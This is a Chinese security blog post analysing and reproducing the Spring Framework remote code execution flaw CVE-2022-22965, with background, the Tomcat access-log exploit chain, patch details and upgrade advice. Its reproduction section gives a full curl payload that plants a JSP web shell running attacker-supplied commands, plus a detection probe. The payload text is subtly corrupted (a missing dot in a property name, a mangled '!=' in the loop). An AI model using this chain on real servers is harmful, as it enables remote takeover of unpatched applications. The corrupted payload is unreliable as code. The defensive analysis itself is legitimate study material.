Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

admin 2022年4月25日02:20:16安全文章评论29 views6449字阅读21分29秒阅读模式




网安引领时代,弥天点亮未来   






 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!



Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x01漏洞描述

2022年3月31日,Spring 官方发布安全更新通告,修复了 Spring Framework 中存在的远程代码执行漏洞,漏洞编号为CVE-2022-22965,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x02漏洞危害

在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击,该漏洞由于JDK 9 + 中新添加的函数绕过了Spring CachedIntrospectionResults 对 ClassLoader获取的限制,导致可以获取到任意ClassLoader,攻击者可以通过发送精心构造的数据请求来注入恶意属性触发漏洞,导致远程代码执行的漏洞风险。

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x03影响范围

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

受影响条件(需同时满足):

- JDK 9 及以上版本

- Apache Tomcat 作为 Servlet 容器

- Spring 框架以及衍生的框架 


Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x04漏洞分析

漏洞原理

通过对java jdk9以上版本的新特性moudle.getClassLoader()利用,并绕过原有CVE-2010-1622的补丁,结合tomcat的某些列类进行漏洞利用。(通过 module 来调用 JDK 模块下的方法,而 module 并不在黑名单中,所以能够绕过黑名单。)

搭建漏洞分析环境

JDK 11.0.14

Tomcat 9.0.60

Spring  2.6.3 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


知识普及

Java.lang.class

在java中有两种对象:class对象和实例对象。实例对象,是类的实例,通常是通过new这个关键字构建。class对象,是JVM生成用来保存对象类的信息。

在 java.lang.Class 类中对 Class 类的构造方法有相关说明:

/*     * Private constructor. Only the Java Virtual Machine creates Class objects.     * This constructor is not used and prevents the default constructor being     * generated.     */    private Class(ClassLoader loader, Class<?> arrayComponentType) {        // Initialize final field for classLoader.  The initialization value of non-null        // prevents future JIT optimizations from assuming this final field is null.        classLoader = loader;        componentType = arrayComponentType;    }

Class 类的构造方法是私有构造函数,只有 JVM 才可以创建该类的对象。没有办法通过 new 的方式声明一个 Class 对象,但是依然有其他方式获得 Class 类的对象,如:通过类的静态成员变量来获取、通过 java.lang.Object.getClass() 方法返回运行时类的对象、通过 Class 的静态方法 forName()获取。

可以这样去理解,获取到一个类对象后,就可以调用这个类中的一些方法,当获取到 Class 对象后,变相的获取了所有 Class 类的对象,通过调用这个 Class 类下实例对象的方法,就相当于调用了实例对象的方法

javabean

JavaBean 是一种 Java 语言写成的可重用组件。写成 JavaBean,类必须是具体的和公共的,并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,long 和 class 方法获取。众所周知,属性名称符合这种模式,其他 Java 类可以通过自省机制发现和操作这些 JavaBean 的属性。javaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法 名符合某种命名规则。下面就是JavaBean的示例

public class Student {private Integer age;private String name;private Integer id;public void setAge(Integer age) {this.age = age;}public Integer getAge() {return age;}public void setName(String name) {this.name = name;}public String getName() {return name;}public void setId(Integer id) {this.id = id;}public Integer getId() {return id;}}

JavaBean 标准有以下要求:

所有的类必须声明为public,这样才能够被外部所访问;类中所有的属性都必须封装,即:使用private声明;封装的属性如果需要被外部所操作,则必须编写对应的setter、getter方法;

一个 JavaBean 中至少存在一个无参构造方法

public class Person {private String name;private int age;
public String getName() {return this.name;}public void setName(String name) {this.name = name;}public int getAge() {return this.age;}public void setAge(int age) {this.age = age;}}

漏洞分析主要代码 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

代码调试,执行位置

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

这里就可以获取到 class对象,然后利⽤这个 class 对象构造利⽤链了,⽬前⽐较简单的⽅式,就是修改Tomcat的⽇志配置,向⽇志中写⼊恶意代码。⼀条完整的利⽤链如下

class.module.classLoader.resources.context.parent.pipeline.first.pattern=恶意代码 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=路径(webapps/ROOT) class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

Access Log中也支持cookie,请求header,响应headers,Session或者其他在ServletRequest 中的对象的信息。格式遵循apache语法: 

%{xxx}i 请求headers的信息 

%{xxx}o 响应headers的信息

 %{xxx}c 请求cookie的信息 

%{xxx}r xxx是ServletRequest的一个属性 

%{xxx}s xxx是HttpSession的一个属性 

common模式的pattern(即默认pattern参数)的格式为'%h %l %u %t “%r” %s %b'。combined模式的 pattern可以增加Referer和User-Agent headers的参数形式,每个参数用双引号包起来,引号中的内容 还是上面列举的参数。比如"%{User-Agent}i"使其为”%{User-Agent}i“,即请求的User-Agent(客户端, 浏览器) 

AccessLogValve类有公共的可以使用的get/set方法。 

className 执行Access Log任务的类,默认是org.apache.catalina.valves.AccessLogValve;也可以使用 org.apache.catalina.valves.FastCommonAccessLogValve,但这时候只支持common和combined patterns。 

directory AccessLogValve产生的Access Log文件存放目录的绝对路径或者相对路径。如果是相对路径,那么是相对 $CATALINA_HOME的。如果没有指定这个参数,默认值是"logs"(相对$CATALINA_HOME)。 

pattern 用于指定展示在Access Log中的各种request和response的信息字段的格式,也可以使用单词common或者 combined来选择一种标准的日志形式。下一节会详细介绍。注意优化的access只支持common和combined格式。

prefix 每个Access Log文件的文件名前缀,如果没有指定,默认是"access_log.“,如果想没有前缀,则指定一 个空的字符串(zero-length string)。 

resolveHosts 如果设置为true,则会通过DNS lookup将远程主机的IP地址转换成对应的主机。设置成false则跳过这个 DNS lookup过程,然后在日志中直接展示IP地址。 

suffix 每个Access Log文件的文件名后缀,如果没有指定,默认值是“”,如果想没有后缀,则指定一个空的字符串 (zero-length string)。 

rotatable 默认为true。这个参数决定是否需要切换切换日志文件,如果被设置为false,则日志文件不会切换,即所有 文件打到同一个日志文件中,并且fileDateFormat参数也会被忽略。小心使用这个参数。 

condition 设置是否打开条件日志,如果设置了这个参数,requests只有当ServletRequest.getAttribute()为 null的时候才会被记录日志。比如这个值被设置成junk,

然后当一个特定请求的 ServletRequest.getAttribute(“junk”) == null的时候,这个request会被记录。使用Filters很 容易在ServletRequest中设置或者不设置这个属性。 

fileDateFormat Tomcat允许指定Access Log文件名中日期格式。日期格式同时也决定了如何切换日志文件的策略,比如如果 你想每小时生成一个日志文件,设置这个值为yyyy-MM-dd.HH。































 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x05漏洞修复

针对该漏洞Spring以及 Tomcat都做出了修复。

Spring: Class类仅可以获取name相关的值了,而且对没有写操作权限的ClassLoader以及ProtectionDomain做了限制。

Tomcat:tomcat则是直接把getResources返回为空。

官方补丁

https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现































 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x05漏洞复现

该漏洞环境搭建调试过程比较坑,搭建过的人应该都感同身受吧。最简单的方式就是将漏洞代码通过打包成war,然后使用tomca环境部署,这里要注意Java版本必须要jdk9以上,否则怎么验证都没有漏洞!

docker环境验证 

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


方式一(有害)

curl -v -d "class.module.classLoaderesources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://10.211.55.2:46966/

脚本:

python3 exp.py --url http://10.211.55.2:46966/

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

通过上传的jsp文件进行RCE

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

方式二(无害)

通过该payload测试,如果返回404,则可能存在漏洞

?class.module.classLoader.URLs%5B0%5D=0

GET方式

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


POST方式

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


通过AWVS扫描器发现

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x06修复方案

目前 Spring 官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本:

    安全版本:    

    Spring Framework == 5.3.18

    Spring Framework == 5.2.20

    官方安全版本下载可以参考以下链接:

 https://github.com/spring-projects/spring-framework/tags


Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

0x07参考链接
 

https://vas.vulbox.com/vuln-detail?id=117&source=vb

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

https://nox.qianxin.com/vulnerability/detail/QVD-2022-1691

https://mp.weixin.qq.com/s/ixTbyZyb0FTmc7xaSqxtPw 





Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现


原文始发于微信公众号(弥天安全实验室):Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月25日02:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Spring Framework远程代码执行漏洞(CVE-2022-22965)分析&复现 http://cn-sec.com/archives/937180.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: